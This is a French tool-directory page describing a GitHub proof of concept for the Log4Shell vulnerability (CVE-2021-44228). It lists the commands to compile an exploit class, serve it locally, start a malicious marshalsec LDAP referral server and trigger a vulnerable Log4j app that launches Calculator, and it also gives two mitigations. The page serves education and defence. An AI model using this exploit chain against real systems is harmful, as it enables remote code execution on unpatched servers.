Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-44228-PoC — CVE-2021-44228 (Log4Shell) Preuve de concept | Kitploit
Outils/GitHubGitHub/sunnyvale-it/cve-2021-44228-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubsunnyvale-it/cve-2021-44228-poc

CVE-2021-44228-PoC

CVE-2021-44228 (Log4Shell) Preuve de concept

Voir le dépôt
855il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-44228 (Log4Shell) Preuve de concept

Les fonctionnalités JNDI d'Apache Log4j2 <=2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison liés à JNDI. Un attaquant qui peut contrôler les messages de journalisation ou leurs paramètres peut exécuter du code arbitraire chargé depuis des serveurs LDAP lorsque la substitution de recherche de messages est activée.

Pour aider les clients à comprendre comment fonctionne cette faille, nous avons préparé ce dépôt avec une preuve de concept simple mais fonctionnelle.

Prérequis

Avoir installé localement :

  • Git
  • JDK 11
  • Maven
  • Python

Pour le moment, le code arbitraire lance l'application Calculatrice sur macOS ou Windows, donc seulement ces deux systèmes d'exploitation sont pris en charge par cette preuve de concept.

Clause de non-responsabilité

Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes contre cette vulnérabilité.

La technique d'attaque

Cette preuve de concept ressemble à celle décrite dans l'image ci-dessous (crédits GovCERT.ch), à l'exception du serveur vulnérable qui est simplement une classe Java pour des raisons de simplicité. Il est important de comprendre que cette vulnérabilité peut être déclenchée de différentes manières ; ce qui est décrit ci-dessous n'en est qu'un exemple.

Comment exécuter la preuve de concept

Clonez ce dépôt

terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git

Compilez l'exploit (avec JDK 11)

terminal1 $ javac Exploit.java

Exécutez un serveur HTTP pour servir l'exploit

terminal1 $ python -m SimpleHTTPServer 8888 --directory .

Démarrez le serveur LDAPRefServer malveillant (merci à https://github.com/mbechler/marshalsec)

terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Lancez l'application buguée (contenant log4j 2.14.1)

terminal3 $ mvn package && mvn exec:exec

Si tout s'est bien passé, l'application Calculatrice (exécution de code arbitraire) devrait apparaître

Mesures d'atténuation rapides (fonctionnent avec les versions de Log4J de 2.10.0 à 2.14.1)

Définir la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS sur true

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 
terminal3 $ mvn package && mvn exec:exec

Dans ce cas, la Calculatrice ne devrait plus apparaître

Exécuter l'application avec la propriété système log4j2.formatMsgNoLookups définie sur true

terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true

Dans ce cas, la Calculatrice ne devrait plus apparaître

Télécharger l’outil